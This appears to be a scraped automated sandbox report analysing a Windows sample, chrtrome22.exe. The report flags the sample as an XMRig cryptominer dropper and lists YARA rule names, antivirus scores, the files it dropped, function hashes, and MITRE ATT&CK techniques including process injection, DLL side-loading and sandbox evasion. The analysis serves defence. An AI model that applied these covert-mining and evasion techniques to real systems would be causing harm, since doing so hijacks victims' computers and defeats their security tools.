00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: 00000002.00000000.1753490788.00007FF6412E7000.00000002.00000001.01000000.00000007.sdmp, Author: unknown Rule: JoeSecurity_Xmrig, Description: Yara detected Xmrig cryptocurrency miner, Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, Author: Joe Security Rule: MacOS_Cryptominer_Xmrig_241780a1, Description: unknown, Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, Author: unknown Rule: MAL_XMR_Miner_May19_1, Description: Detects Monero Crypto Coin Miner, Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, Author: Florian Roth Rule: MALWARE_Win_CoinMiner02, Description: Detects coinmining malware, Source: C:\xmrig\xmrig-6.22.2\xmrig.exe, Author: ditekSHen
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 74%, ReversingLabs
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	3
Start time:	02:42:14
Start date:	09/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	13.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	3
Total number of Limit Nodes:	0

Executed Functions

Function 00007FFD9B880BE5 Relevance: 1.7, APIs: 1, Instructions: 154
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleWindow.KERNEL32 ref: 00007FFD9B880CBF

Memory Dump Source

Source File: 00000000.00000002.1759734900.00007FFD9B880000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B880000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b880000_chrtrome22.jbxd

Similarity

API ID: ConsoleWindow
String ID:
API String ID: 2863861424-0
Opcode ID: 3a2231455be909da0dc7836ab5ffe008f268e93671296cde8ea2c8d4c8ddfc0f
Instruction ID: f83f84730cb007c9cfb8d1d8ae4158b6c471f3dfb711cf60ef83452f5b7c0dd6
Opcode Fuzzy Hash: 3a2231455be909da0dc7836ab5ffe008f268e93671296cde8ea2c8d4c8ddfc0f
Instruction Fuzzy Hash: 8341E67050E7895FD7278B7898145E5BFF0EF57320B0A42EBC088CB4A3C668594AC7A2

Function 00007FFD9B960D21 Relevance: .4, Instructions: 370
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1760065694.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b960000_chrtrome22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 42f2b2374a951717206f1dc57888a6d9d917c39b4d48f2ad8aeef3ecb67160a4
Instruction ID: 25ff35cf07d59720f4653d446bf46c8f8c0bb0069af8ad3a8c0d0bef374ecc08
Opcode Fuzzy Hash: 42f2b2374a951717206f1dc57888a6d9d917c39b4d48f2ad8aeef3ecb67160a4
Instruction Fuzzy Hash: EAB13631B1EB9D5FE7AA976858E5A743BE1EF82710F0901FAE04DC71E7DA18AC058341

Function 00007FFD9B960E6B Relevance: .1, Instructions: 62COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1760065694.00007FFD9B960000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFD9B960000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ffd9b960000_chrtrome22.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ced07d695c6e27593733db61d8a724426a9074baa0d42d7a4f14e375a2d3eced
Instruction ID: 869498975b03761001574752c9dc1aeaedc5f61021b3a4b9db45f2e1973592b6
Opcode Fuzzy Hash: ced07d695c6e27593733db61d8a724426a9074baa0d42d7a4f14e375a2d3eced
Instruction Fuzzy Hash: 7B014E22F2E92E9FF7BA935C24F51785BC2EF84A20B4901B6D40DC31EEEF18AC014240

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report chrtrome22.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Bitcoin Miner

Compliance

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\chrtrome22.exe.log

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_135b2etk.xy1.psm1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zw0o1iqr.gns.ps1

C:\Users\user\Downloads\xmrig.zip

C:\xmrig\xmrig-6.22.2\SHA256SUMS

C:\xmrig\xmrig-6.22.2\WinRing0x64.sys

C:\xmrig\xmrig-6.22.2\benchmark_10M.cmd

C:\xmrig\xmrig-6.22.2\benchmark_1M.cmd

C:\xmrig\xmrig-6.22.2\config.json

C:\xmrig\xmrig-6.22.2\pool_mine_example.cmd

C:\xmrig\xmrig-6.22.2\rtm_ghostrider_example.cmd

C:\xmrig\xmrig-6.22.2\solo_mine_example.cmd

C:\xmrig\xmrig-6.22.2\start.cmd

C:\xmrig\xmrig-6.22.2\xmrig.exe

Static File Info

Windows Analysis Report
chrtrome22.exe

Function 00007FFD9B880BE5 Relevance: 1.7, APIs: 1, Instructions: 154
COMMON

Function 00007FFD9B960D21 Relevance: .4, Instructions: 370
COMMON